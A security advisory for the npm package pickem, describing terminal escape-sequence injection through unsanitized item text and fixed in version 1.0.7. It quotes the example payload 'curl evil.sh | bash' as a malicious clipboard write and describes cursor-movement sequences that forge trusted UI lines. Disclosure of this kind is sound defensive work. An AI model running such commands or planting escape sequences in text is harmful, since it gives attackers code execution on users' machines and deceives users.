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GHSA-8qx3-8gm5-9cj2: pickem vulnerable to terminal escape-sequence injection via unsanitized item text

August 25, 2026

pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

  • OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user’s clipboard; their next paste-into-shell is RCE.
  • Cursor-movement + erase (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a “✓ Verified publisher”, fake prompt, or hide a malicious entry).
  • BEL / C0 control flooding.

Any CLI that passes untrusted strings into pickem choices is affected.

References

  • github.com/advisories/GHSA-8qx3-8gm5-9cj2
  • github.com/calebogden/pickem-oss/releases/tag/v1.0.7
  • github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2

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Affected versions

All versions before 1.0.7

Fixed versions

  • 1.0.7

Solution

Upgrade to version 1.0.7 or above.

Impact 8 HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

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Weakness

  • CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

Source file

npm/pickem/GHSA-8qx3-8gm5-9cj2.yml

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